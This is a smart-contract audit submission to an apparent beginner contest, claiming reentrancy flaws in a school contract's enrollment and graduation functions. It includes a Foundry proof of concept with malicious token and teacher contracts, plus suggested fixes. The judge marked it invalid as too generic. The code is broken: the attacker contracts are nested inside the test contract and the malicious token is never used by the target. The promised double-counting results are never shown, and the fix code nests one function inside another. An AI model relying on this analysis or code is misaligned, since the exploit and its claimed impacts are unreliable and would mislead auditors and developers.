Hawk High

First Flight #39
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Reentrancy Vulnerabilities in Enrollment and Graduation Functions

Summary

Two critical reentrancy vulnerabilities exist in the LevelOne contract that could lead to fund manipulation and state inconsistencies.

Vulnerability Details

  1. Enrollment Function Reentrancy

function enroll() external notYetInSession {
// ... checks ...
// VULNERABLE: External call before state changes
usdc.safeTransferFrom(msg.sender, address(this), schoolFees);
// State changes after external call
listOfStudents.push(msg.sender);
isStudent[msg.sender] = true;
studentScore[msg.sender] = 100;
bursary += schoolFees;
}

POC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test, console} from "forge-std/Test.sol";
import {LevelOne} from "../../src/LevelOne.sol";
import {MockUSDC} from "../mocks/MockUSDC.sol";
import {DeployLevelOne} from "../../script/DeployLevelOne.s.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ReentrancyTest is Test {
LevelOne levelOne;
MockUSDC usdc;
address principal;
address student;
address teacher;
uint256 constant SCHOOL_FEES = 100e6; // 100 USDC
uint256 constant INITIAL_BALANCE = 1000e6; // 1000 USDC
// Malicious contracts for reentrancy
MaliciousToken malToken;
MaliciousTeacher malTeacher;
function setUp() public {
principal = makeAddr("principal");
student = makeAddr("student");
teacher = makeAddr("teacher");
// Deploy USDC mock
usdc = new MockUSDC();
vm.startPrank(principal);
// Deploy LevelOne
levelOne = new LevelOne();
levelOne.initialize(address(usdc), principal);
// Setup session
levelOne.setSessionStart(block.timestamp);
levelOne.setSessionEnd(block.timestamp + 365 days);
vm.stopPrank();
// Fund accounts
usdc.mint(student, INITIAL_BALANCE);
usdc.mint(address(malToken), INITIAL_BALANCE);
// Deploy malicious contracts
malToken = new MaliciousToken(address(levelOne));
malTeacher = new MaliciousTeacher(address(levelOne));
}
// Malicious Token contract that reenters during enrollment
contract MaliciousToken is IERC20 {
LevelOne immutable levelOne;
uint256 public callCount;
constructor(address _levelOne) {
levelOne = LevelOne(_levelOne);
}
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
if(callCount < 2) {
callCount++;
// Reenter enrollment
levelOne.enroll();
}
return true;
}
// Implement other IERC20 functions...
function transfer(address to, uint256 amount) external returns (bool) {
return true;
}
function balanceOf(address account) external view returns (uint256) {
return INITIAL_BALANCE;
}
// ... other required implementations
}
// Malicious Teacher contract that reenters during graduation
contract MaliciousTeacher {
LevelOne immutable levelOne;
constructor(address _levelOne) {
levelOne = LevelOne(_levelOne);
}
receive() external payable {
// Reenter during payment
levelOne.graduateAndUpgrade(address(0x123), "");
}
}
function testReentrancyEnrollment() public {
// Approve spending
vm.startPrank(student);
usdc.approve(address(levelOne), SCHOOL_FEES * 2);
// Attempt enrollment with malicious token
levelOne.enroll();
// Assert reentrancy effects
assertEq(levelOne.isStudent(student), true);
// Check if student was counted twice in listOfStudents
uint256 studentCount = 0;
for(uint i = 0; i < levelOne.getStudentLength(); i++) {
if(levelOne.listOfStudents(i) == student) {
studentCount++;
}
}
assertEq(studentCount, 2); // Student appears twice
assertEq(levelOne.bursary(), SCHOOL_FEES * 2); // Double counted fees
vm.stopPrank();
}
function testReentrancyGraduation() public {
// Setup: Add malicious teacher
vm.startPrank(principal);
levelOne.addTeacher(address(malTeacher));
// Fund contract with USDC
usdc.mint(address(levelOne), SCHOOL_FEES * 10);
// Attempt graduation
levelOne.graduateAndUpgrade(address(0x123), "");
// Assert reentrancy effects
uint256 teacherBalance = usdc.balanceOf(address(malTeacher));
uint256 expectedSinglePayout = (SCHOOL_FEES * 10 * levelOne.TEACHER_WAGE()) / levelOne.PRECISION();
// Teacher should have received double payment
assertEq(teacherBalance, expectedSinglePayout * 2);
vm.stopPrank();
}
}

Impact

  1. Enrollment Reentrancy:

  • Double counting of students in listOfStudents

  • Incorrect bursary calculations

  • Multiple enrollment states for single student

  1. Graduation Reentrancy:

  • Double payments to teachers

  • Drain of contract funds

  • Inconsistent state between LevelOne and LevelTwo contracts

Tools Used

  • Manual review

  • Foundry

Recommendations

  1. Implement ReentrancyGuard:

contract LevelOne is Initializable, UUPSUpgradeable, ReentrancyGuard {
function enroll() external notYetInSession nonReentrant {
// State changes first
listOfStudents.push(msg.sender);
isStudent[msg.sender] = true;
studentScore[msg.sender] = 100;
bursary += schoolFees;
// Transfer last
usdc.safeTransferFrom(msg.sender, address(this), schoolFees);
}
}
  1. Implement Pull Pattern for Rewards:

mapping(address => uint256) private pendingRewards;
function graduateAndUpgrade(address _levelTwo, bytes memory) public onlyPrincipal nonReentrant {
// Calculate and store rewards
for (uint256 n = 0; n < listOfTeachers.length; n++) {
pendingRewards[listOfTeachers[n]] = payPerTeacher;
}
// Separate claim function
function claimRewards() external nonReentrant {
uint256 amount = pendingRewards[msg.sender];
require(amount > 0, "No rewards");
pendingRewards[msg.sender] = 0;
usdc.safeTransfer(msg.sender, amount);
}
}

These changes would enforce the checks-effects-interactions pattern and prevent reentrancy attacks while maintaining the intended functionality.

Updates

Lead Judging Commences

yeahchibyke Lead Judge
about 1 month ago
yeahchibyke Lead Judge 22 days ago
Submission Judgement Published
Invalidated
Reason: Too generic
yeahchibyke Lead Judge 22 days ago
Submission Judgement Published
Invalidated
Reason: Too generic

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.